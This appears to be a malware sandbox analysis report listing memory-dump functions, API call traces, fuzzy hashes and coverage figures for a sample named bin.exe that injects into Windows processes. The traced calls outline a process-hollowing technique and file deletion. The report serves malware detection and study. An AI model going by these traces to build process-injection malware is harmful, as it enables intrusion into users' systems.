Source File: 00000009.00000002.2879609123.0000000000B50000.00000040.00000001.00020000.00000000.sdmp, Offset: 00B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b50000_StartMenuExperienceHost.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: d0a9b7ccad2424afbd224703fef996352ea6b7a6d1d9ad784538435e3ee26c62
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: 5E31D4720202046FEB017F709D86FBA3BECEF11312F0005E5BD95DA0A6EA744D69CAB5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RuntimeBroker.exePID: 4872, Parent PID: 7396COMMON

Execution Graph

Execution Coverage:	7.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	80
Total number of Limit Nodes:	8

Executed Functions

Function 00110811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 0011092A
RtlExitUserThread.NTDLL ref: 00110933

Memory Dump Source

Source File: 0000000A.00000002.2886842172.0000000000110000.00000040.00000001.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_110000_RuntimeBroker.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: e0c6e7e9a2d7599d1d0e12609d6689695a60be68487ad526544be4dcdcbfa815
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: 4B31D6728042047FEB0A7B709D46AFA7B6CEF15300F000175BD85DA0A2EBB449D5CBB5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: bin.exePID: 7676, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	6.3%
Dynamic/Decrypted Code Coverage:	31.4%
Signature Coverage:	0%
Total number of Nodes:	462
Total number of Limit Nodes:	5

Executed Functions

Function 02300005 Relevance: 2.6, APIs: 1, Instructions: 1116COMMON

Download Yara Rule

APIs

Part of subcall function 0230098B: OpenMutexA.KERNEL32(001F0001,00000000,00000000), ref: 023009A5
Part of subcall function 0230098B: GetStartupInfoA.KERNEL32(00000000), ref: 023009BD

ExitProcess.KERNEL32(00000000), ref: 0230001D

Memory Dump Source

Source File: 0000000D.00000002.1851135564.0000000002300000.00000040.00001000.00020000.00000000.sdmp, Offset: 02300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2300000_bin.jbxd

Similarity

API ID: ExitInfoMutexOpenProcessStartup
String ID:
API String ID: 213680645-0
Opcode ID: 8ded0c1563596ef065c873257d9f166c149bbeaf12971adc1d4101d8be03d7fe
Instruction ID: e88d9ea6772d2559f086bc209dda1c598bc75ae7dcc9f24fe32f086cfc4925e1
Opcode Fuzzy Hash: 8ded0c1563596ef065c873257d9f166c149bbeaf12971adc1d4101d8be03d7fe
Instruction Fuzzy Hash: B272CF6141E3C45FD72F9B604AF9B667F79AF03208B1A10CBD581DA0F3D6249A09C77A

Uniqueness

Uniqueness Score: -1.00%

Function 021F0000 Relevance: 21.4, APIs: 3, Strings: 9, Instructions: 395
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 021F0318
VirtualProtect.KERNELBASE ref: 021F0680
VirtualProtect.KERNELBASE ref: 021F06FD

Strings

R, xrefs: 021F0039
d:, xrefs: 021F00A0
1;, xrefs: 021F0286
, xrefs: 021F000F
C[, xrefs: 021F0221
wJ, xrefs: 021F012E
v, xrefs: 021F0141
y7, xrefs: 021F0234
@, xrefs: 021F001F

Memory Dump Source

Source File: 0000000D.00000002.1850846800.00000000021F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 021F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_21f0000_bin.jbxd

Similarity

API ID: ProtectVirtual
String ID: $1;$@$C[$R$d:$wJ$y7$v
API String ID: 544645111-3459585926
Opcode ID: 53f4e89c0dc9a16f3c8cd647b3aa6a18b2ce076b07f4b3090f74fc473a9225f3
Instruction ID: 28e5be904831581971660279813b2c29e89ec9c6c7ba3c7a11617b115dd6d7d6
Opcode Fuzzy Hash: 53f4e89c0dc9a16f3c8cd647b3aa6a18b2ce076b07f4b3090f74fc473a9225f3
Instruction Fuzzy Hash: 9F3277B8E012688BDB64CF68C890BDDBBB1BF49304F1481DAD848A7341D775AE85CF95

Uniqueness

Uniqueness Score: -1.00%

Function 001C093E Relevance: 18.1, APIs: 12, Instructions: 134
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00001388), ref: 001C0959
RtlExitUserThread.NTDLL(00000000), ref: 001C0961
OpenMutexA.KERNEL32(001F0001,00000000,00000000), ref: 001C0981
GetStartupInfoA.KERNEL32(00000000), ref: 001C0999

Part of subcall function 001C09D9: CreateProcessA.KERNEL32(00000000,001C09D2,00000007,E8FFFF1F,E8FFFBFB,00000000,00000000,00000000,00000004,00000000,00000000,E8FFFC3F,00000000), ref: 001C09E0
Part of subcall function 001C09D9: GetThreadContext.KERNEL32(?,00000000), ref: 001C0A08
Part of subcall function 001C09D9: VirtualProtectEx.KERNEL32(?,?,000000EB,00000040,00000000), ref: 001C0A33
Part of subcall function 001C09D9: DuplicateHandle.KERNEL32(000000FF,000000FF,?,001C5810,00000000,00000000,00000002), ref: 001C0A78
Part of subcall function 001C09D9: WriteProcessMemory.KERNEL32(?,?,?,000000EB,00000000), ref: 001C0AA6
Part of subcall function 001C09D9: ResumeThread.KERNEL32(?), ref: 001C0AB6
Part of subcall function 001C09D9: Sleep.KERNEL32(000003E8), ref: 001C0AC6
Part of subcall function 001C09D9: OpenMutexA.KERNEL32(001F0001,00000000,00000000), ref: 001C0ADD

Memory Dump Source

Source File: 0000000D.00000002.1849278691.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1c0000_bin.jbxd

Similarity

API ID: Thread$MutexOpenProcessSleep$ContextCreateDuplicateExitHandleInfoMemoryProtectResumeStartupUserVirtualWrite
String ID:
API String ID: 1099281029-0
Opcode ID: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction ID: 02247e30dbf509db19e564959b2d0d53da4b464b58ceeb9d9e50b48634e6cc8b
Opcode Fuzzy Hash: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction Fuzzy Hash: E7517031644354AFEF239F20CC85F9A77B8AF14B44F040199BA49FE0D6DBB0DA94CA65

Uniqueness

Uniqueness Score: -1.00%

Function 001C3F0D Relevance: 6.0, APIs: 4, Instructions: 26
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,?,001C3F03,0000000A,E8FFFF1B,00000000,0000000A), ref: 001C3F2D
Sleep.KERNELBASE(000003E8,00000000,?,001C3F03,0000000A,E8FFFF1B,00000000,0000000A), ref: 001C3F4B
Sleep.KERNEL32(000007D0), ref: 001C3F5B
Sleep.KERNEL32(00000BB8), ref: 001C3F6B

Memory Dump Source

Source File: 0000000D.00000002.1849278691.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1c0000_bin.jbxd

Similarity

API ID: Sleep$HandleModule
String ID:
API String ID: 3646095425-0
Opcode ID: 550d547703b1faf33bdbb28134adf901e3b34dfa1c128e3e0b52710aeb13400a
Instruction ID: 634a74a46434a642e0226302b98b7da89e65e1ed753664d014aab6768df5a327
Opcode Fuzzy Hash: 550d547703b1faf33bdbb28134adf901e3b34dfa1c128e3e0b52710aeb13400a
Instruction Fuzzy Hash: EFF05E60988244A6EF413BB0884AF4D36B45F31705F04889CBA59E90D2CF30C6508E72

Uniqueness

Uniqueness Score: -1.00%

Function 001C1345 Relevance: 4.6, APIs: 3, Instructions: 61
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,00000020,00000040,?), ref: 001C1372
VirtualAlloc.KERNELBASE(00000000,00000020,00003000,00000040), ref: 001C1387
VirtualProtect.KERNELBASE(?,00000020,?,?), ref: 001C13E5

Memory Dump Source

Source File: 0000000D.00000002.1849278691.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1c0000_bin.jbxd

Similarity

API ID: Virtual$Protect$Alloc
String ID:
API String ID: 2541858876-0
Opcode ID: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction ID: 24bdabae7abb68ff9a17f5ee70b33f63d9b304115b88680595e81b57cc4b6d8c
Opcode Fuzzy Hash: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction Fuzzy Hash: C921AE31944256AFDB11DE78C844B5DBBB5AF05310F054219F955BB5D5D730E800CB94

Uniqueness

Uniqueness Score: -1.00%

Function 02303409 Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVolumeInformationA.KERNELBASE(02303405,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000104), ref: 02303409

Memory Dump Source

Source File: 0000000D.00000002.1851135564.0000000002300000.00000040.00001000.00020000.00000000.sdmp, Offset: 02300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2300000_bin.jbxd

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: 05df49bcbb0e52281ffeddc20694d7dcde29ca99da7d602d76b789caa7e7f337
Instruction ID: 4901e963293465bf77e6bfb6c1d1e3ce31b88732ec8187fb5237d69e5b386d92
Opcode Fuzzy Hash: 05df49bcbb0e52281ffeddc20694d7dcde29ca99da7d602d76b789caa7e7f337
Instruction Fuzzy Hash: CBF0F875A00154DBEF12EF24C485A9A7BF8AF84344F4508C8AA4DBF206CA30A599CFA4

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 02302951 Relevance: 13.7, APIs: 9, Instructions: 169
filestringsleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(02302949,00000008,?,00000000,02302835,00000000), ref: 02302956
VirtualAlloc.KERNEL32(00000000,01400000,00003000,00000004), ref: 02302993
lstrcat.KERNEL32(00000000,023029C1), ref: 023029D0
lstrcat.KERNEL32(00000000,023029F8), ref: 02302A07
lstrcat.KERNEL32(00000000,02302A2F), ref: 02302A3E
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02302AB8
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02302AFC
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 02302B52
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 02302B66

Memory Dump Source

Source File: 0000000D.00000002.1851135564.0000000002300000.00000040.00001000.00020000.00000000.sdmp, Offset: 02300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2300000_bin.jbxd

Similarity

API ID: DeleteFilelstrcat$AllocLibraryLoadSleepVirtual
String ID:
API String ID: 675344582-0
Opcode ID: d011dff3c69ba8b3f7cae5bbaa392318d89e88feb0221dd9666ec9f6df8cf3c0
Instruction ID: 144425e10782cc472dcfeb7a8a47d99c1872acf732bad165845db566bdb23e1e
Opcode Fuzzy Hash: d011dff3c69ba8b3f7cae5bbaa392318d89e88feb0221dd9666ec9f6df8cf3c0
Instruction Fuzzy Hash: E65153715002189EDB226F718DDCFAB77BDEF40705F4404A6AE85EA091EE309684CFB5

Uniqueness

Uniqueness Score: -1.00%

Function 001C292D Relevance: 13.7, APIs: 9, Instructions: 169
filestringsleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(001C2925,00000008,?,00000000,001C2811,00000000), ref: 001C2932
VirtualAlloc.KERNEL32(00000000,01400000,00003000,00000004), ref: 001C296F
lstrcat.KERNEL32(00000000,001C299D), ref: 001C29AC
lstrcat.KERNEL32(00000000,001C29D4), ref: 001C29E3
lstrcat.KERNEL32(00000000,001C2A0B), ref: 001C2A1A
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 001C2A94
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 001C2AD8
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 001C2B2E
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 001C2B42

Memory Dump Source

Source File: 0000000D.00000002.1849278691.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1c0000_bin.jbxd

Similarity

API ID: DeleteFilelstrcat$AllocLibraryLoadSleepVirtual
String ID:
API String ID: 675344582-0
Opcode ID: d011dff3c69ba8b3f7cae5bbaa392318d89e88feb0221dd9666ec9f6df8cf3c0
Instruction ID: 5e20f8d1fd77fe1a3bbaf27d3d0f84e3a94bc46b39ba8ee9e7a75b819cd3b3af
Opcode Fuzzy Hash: d011dff3c69ba8b3f7cae5bbaa392318d89e88feb0221dd9666ec9f6df8cf3c0
Instruction Fuzzy Hash: 55513471500264AFDB227B608D49FAB77BCEF60705F0444AEFA45EB056DB74DA80CEA1

Uniqueness

Uniqueness Score: -1.00%

Function 023009FD Relevance: 12.1, APIs: 8, Instructions: 76
threadsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(00000000,023009F6,00000007,E8FFFF1F,E8FFFBFB,00000000,00000000,00000000,00000004,00000000,00000000,E8FFFC3F,00000000), ref: 02300A04
GetThreadContext.KERNEL32(?,00000000), ref: 02300A2C
VirtualProtectEx.KERNEL32(?,?,000000EB,00000040,00000000), ref: 02300A57
DuplicateHandle.KERNEL32(000000FF,000000FF,?,02305834,00000000,00000000,00000002), ref: 02300A9C
WriteProcessMemory.KERNEL32(?,?,?,000000EB,00000000), ref: 02300ACA
ResumeThread.KERNEL32(?), ref: 02300ADA
Sleep.KERNEL32(000003E8), ref: 02300AEA
OpenMutexA.KERNEL32(001F0001,00000000,00000000), ref: 02300B01

Memory Dump Source

Source File: 0000000D.00000002.1851135564.0000000002300000.00000040.00001000.00020000.00000000.sdmp, Offset: 02300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2300000_bin.jbxd

Similarity

API ID: ProcessThread$ContextCreateDuplicateHandleMemoryMutexOpenProtectResumeSleepVirtualWrite
String ID:
API String ID: 617592159-0
Opcode ID: 88fb36c18dc3a4afc247ee75a285c7b14497f4c37b797fc9ee23da592209a9b9
Instruction ID: 69dd08cf07fa27ee5703da3eba7b901165e286f08368b27c8da302ae219137ae
Opcode Fuzzy Hash: 88fb36c18dc3a4afc247ee75a285c7b14497f4c37b797fc9ee23da592209a9b9
Instruction Fuzzy Hash: 86314F316402589FEF269F24CCD5BAA77B8AF04748F4805D4AA49FE0E5DBB0D690CE64

Uniqueness

Uniqueness Score: -1.00%

Function 001C09D9 Relevance: 12.1, APIs: 8, Instructions: 76
threadsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(00000000,001C09D2,00000007,E8FFFF1F,E8FFFBFB,00000000,00000000,00000000,00000004,00000000,00000000,E8FFFC3F,00000000), ref: 001C09E0
GetThreadContext.KERNEL32(?,00000000), ref: 001C0A08
VirtualProtectEx.KERNEL32(?,?,000000EB,00000040,00000000), ref: 001C0A33
DuplicateHandle.KERNEL32(000000FF,000000FF,?,001C5810,00000000,00000000,00000002), ref: 001C0A78
WriteProcessMemory.KERNEL32(?,?,?,000000EB,00000000), ref: 001C0AA6
ResumeThread.KERNEL32(?), ref: 001C0AB6
Sleep.KERNEL32(000003E8), ref: 001C0AC6
OpenMutexA.KERNEL32(001F0001,00000000,00000000), ref: 001C0ADD

Memory Dump Source

Source File: 0000000D.00000002.1849278691.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1c0000_bin.jbxd

Similarity

API ID: ProcessThread$ContextCreateDuplicateHandleMemoryMutexOpenProtectResumeSleepVirtualWrite
String ID:
API String ID: 617592159-0
Opcode ID: 88fb36c18dc3a4afc247ee75a285c7b14497f4c37b797fc9ee23da592209a9b9
Instruction ID: d08d0b8b2051c34f5721e4dda066ff8a6639c36971b334a2f4be7756b07d5326
Opcode Fuzzy Hash: 88fb36c18dc3a4afc247ee75a285c7b14497f4c37b797fc9ee23da592209a9b9
Instruction Fuzzy Hash: F0312F31640215AFEF239F14CC85FAA77B8AF14744F080199AA49FE0E5DBB0DA90CE54

Uniqueness

Uniqueness Score: -1.00%

Function 023029CA Relevance: 10.6, APIs: 7, Instructions: 130
sleepfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcat.KERNEL32(00000000,023029C1), ref: 023029D0

Part of subcall function 02302A01: lstrcat.KERNEL32(00000000,023029F8), ref: 02302A07
Part of subcall function 02302A01: lstrcat.KERNEL32(00000000,02302A2F), ref: 02302A3E
Part of subcall function 02302A01: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02302AB8
Part of subcall function 02302A01: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02302AFC

DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 02302B52
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 02302B66

Memory Dump Source

Source File: 0000000D.00000002.1851135564.0000000002300000.00000040.00001000.00020000.00000000.sdmp, Offset: 02300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2300000_bin.jbxd

Similarity

API ID: DeleteFilelstrcat$Sleep
String ID:
API String ID: 588723932-0
Opcode ID: cf8439a9f46fc1c5678143b13b51c65cbdf78dca36166c9e79c3ab7667b2c553
Instruction ID: 8c7ecd7ef5a995dec9c516901b010c65ee33d8830367745818e3f8d17e473c05
Opcode Fuzzy Hash: cf8439a9f46fc1c5678143b13b51c65cbdf78dca36166c9e79c3ab7667b2c553
Instruction Fuzzy Hash: 0B4120719002589EDB32AB718DDCEAF77BDEF40704F4044A5AE85EA091EE349684CFB5

Uniqueness

Uniqueness Score: -1.00%

Function 001C29A6 Relevance: 10.6, APIs: 7, Instructions: 130
sleepfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcat.KERNEL32(00000000,001C299D), ref: 001C29AC

Part of subcall function 001C29DD: lstrcat.KERNEL32(00000000,001C29D4), ref: 001C29E3
Part of subcall function 001C29DD: lstrcat.KERNEL32(00000000,001C2A0B), ref: 001C2A1A
Part of subcall function 001C29DD: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 001C2A94
Part of subcall function 001C29DD: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 001C2AD8

DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 001C2B2E
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 001C2B42

Memory Dump Source

Source File: 0000000D.00000002.1849278691.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1c0000_bin.jbxd

Similarity

API ID: DeleteFilelstrcat$Sleep
String ID:
API String ID: 588723932-0
Opcode ID: cf8439a9f46fc1c5678143b13b51c65cbdf78dca36166c9e79c3ab7667b2c553
Instruction ID: c636e14730fe7c8789ea0b8b2e66408bc148dc9e268f550b67392472ade30f33
Opcode Fuzzy Hash: cf8439a9f46fc1c5678143b13b51c65cbdf78dca36166c9e79c3ab7667b2c553
Instruction Fuzzy Hash: 9441F1715002289FDB22BB618D49FAB77BCEF60705F0444AAEA45E7055DB74DA80CEA1

Uniqueness

Uniqueness Score: -1.00%

Function 02302A01 Relevance: 9.1, APIs: 6, Instructions: 112
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcat.KERNEL32(00000000,023029F8), ref: 02302A07

Part of subcall function 02302A38: lstrcat.KERNEL32(00000000,02302A2F), ref: 02302A3E
Part of subcall function 02302A38: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02302AB8
Part of subcall function 02302A38: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02302AFC
Part of subcall function 02302A38: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 02302B52
Part of subcall function 02302A38: Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 02302B66

Memory Dump Source

Source File: 0000000D.00000002.1851135564.0000000002300000.00000040.00001000.00020000.00000000.sdmp, Offset: 02300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2300000_bin.jbxd

Similarity

API ID: DeleteFile$lstrcat$Sleep
String ID:
API String ID: 4261675396-0
Opcode ID: 79bd1a0af3af01ca763be06bdfa33372cb59c75e302318f70dd6acde58cfabce
Instruction ID: 3e175e7d30369c0d0d8a4c930082b50f36098063354c314ea3957b83ab27736f
Opcode Fuzzy Hash: 79bd1a0af3af01ca763be06bdfa33372cb59c75e302318f70dd6acde58cfabce
Instruction Fuzzy Hash: 56411D719002189EDB226B718DDCFAB76BDEF40709F4044A5AE85EA091EE349684CFB5

Uniqueness

Uniqueness Score: -1.00%

Function 001C29DD Relevance: 9.1, APIs: 6, Instructions: 112
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcat.KERNEL32(00000000,001C29D4), ref: 001C29E3

Part of subcall function 001C2A14: lstrcat.KERNEL32(00000000,001C2A0B), ref: 001C2A1A
Part of subcall function 001C2A14: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 001C2A94
Part of subcall function 001C2A14: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 001C2AD8
Part of subcall function 001C2A14: DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 001C2B2E
Part of subcall function 001C2A14: Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 001C2B42

Memory Dump Source

Source File: 0000000D.00000002.1849278691.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1c0000_bin.jbxd

Similarity

API ID: DeleteFile$lstrcat$Sleep
String ID:
API String ID: 4261675396-0
Opcode ID: 79bd1a0af3af01ca763be06bdfa33372cb59c75e302318f70dd6acde58cfabce
Instruction ID: d6b160bcfa924dc1f1ce780805323c99afb8a852cbc58ab7edcbb3794eecdb08
Opcode Fuzzy Hash: 79bd1a0af3af01ca763be06bdfa33372cb59c75e302318f70dd6acde58cfabce
Instruction Fuzzy Hash: 8D4130B15002289FDB22BB618D49FAF76BCEF60705F0444AEEA45E7041DB74DA80CEA1

Uniqueness

Uniqueness Score: -1.00%

Function 02302A38 Relevance: 7.6, APIs: 5, Instructions: 94filesleepstringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(00000000,02302A2F), ref: 02302A3E

Part of subcall function 02302B71: Sleep.KERNEL32(00000001,?,452F5000,00000020), ref: 02302C68

DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02302AB8
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 02302AFC
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 02302B52
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 02302B66

Memory Dump Source

Source File: 0000000D.00000002.1851135564.0000000002300000.00000040.00001000.00020000.00000000.sdmp, Offset: 02300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2300000_bin.jbxd

Similarity

API ID: DeleteFile$Sleep$lstrcat
String ID:
API String ID: 531250245-0
Opcode ID: 1956c4aaa65c64439c9b8d6f86777e9786a239e5efddbd3eff6fe4d2a2c1f180
Instruction ID: 33202c1bde2b1ea95953efc2afed657c70a56840a0e67648284c6b76edbf86ea
Opcode Fuzzy Hash: 1956c4aaa65c64439c9b8d6f86777e9786a239e5efddbd3eff6fe4d2a2c1f180
Instruction Fuzzy Hash: 0F311B719002589EDB226E718DDCFAB76BCEF40709F4044A5AE85EA095EE349680CFB0

Uniqueness

Uniqueness Score: -1.00%

Function 001C2A14 Relevance: 7.6, APIs: 5, Instructions: 94filesleepstringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(00000000,001C2A0B), ref: 001C2A1A

Part of subcall function 001C2B4D: Sleep.KERNEL32(00000001,?,452F5000,00000020), ref: 001C2C44

DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 001C2A94
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,00000004,00000000,00000000,00A00000), ref: 001C2AD8
DeleteFileA.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000001,00000000,00000000,00A00000), ref: 001C2B2E
Sleep.KERNEL32(000A012C,00000000,00000000,00000000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000,00A00000,00000000,00000000), ref: 001C2B42

Memory Dump Source

Source File: 0000000D.00000002.1849278691.00000000001C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1c0000_bin.jbxd

Similarity

API ID: DeleteFile$Sleep$lstrcat
String ID:
API String ID: 531250245-0
Opcode ID: 1956c4aaa65c64439c9b8d6f86777e9786a239e5efddbd3eff6fe4d2a2c1f180
Instruction ID: 49968fa7a4b5d5aca4da9ad6627b8677a1410d3c3c0f57381d6fd9009df4eb89
Opcode Fuzzy Hash: 1956c4aaa65c64439c9b8d6f86777e9786a239e5efddbd3eff6fe4d2a2c1f180
Instruction Fuzzy Hash: B9313EB15002699FDB227B618C48FAF76FCEF60705F0044AEEA45E7045DB34DA80CEA0

Uniqueness

Uniqueness Score: -1.00%

Function 023031EA Relevance: 7.6, APIs: 5, Instructions: 62processstringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(00000000,00000000), ref: 0230320E
GetStartupInfoA.KERNEL32(00000000), ref: 0230324C
CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,023031D9,00000011,?,00000000,00000000), ref: 02303279
CloseHandle.KERNEL32(?,?,023031D9,00000011,?,00000000,00000000,00000000,02303092,00000004,00000000), ref: 02303285
CloseHandle.KERNEL32(?,?,023031D9,00000011,?,00000000,00000000,00000000,02303092,00000004,00000000), ref: 02303291

Memory Dump Source

Source File: 0000000D.00000002.1851135564.0000000002300000.00000040.00001000.00020000.00000000.sdmp, Offset: 02300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2300000_bin.jbxd

Similarity

API ID: CloseHandle$CreateInfoProcessStartuplstrcat
String ID:
API String ID: 3387338972-0
Opcode ID: f32ac5f5813da37de2e85505615cf9f5e1a16b83960bb8701c11823c1c915505
Instruction ID: 35bf88575bd4cdcc39526f0d954a5307ec285f7f27c932c355d61de44610a1bc
Opcode Fuzzy Hash: f32ac5f5813da37de2e85505615cf9f5e1a16b83960bb8701c11823c1c915505
Instruction Fuzzy Hash: BA1112724005189FDF126B60CC98A9FB7BDEF40705F0145A5A985E6045DA305A80CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 001C31C6 Relevance: 7.6, APIs: 5, Instructions: 62processstringCOMMON

Download Yara Rule

APIs

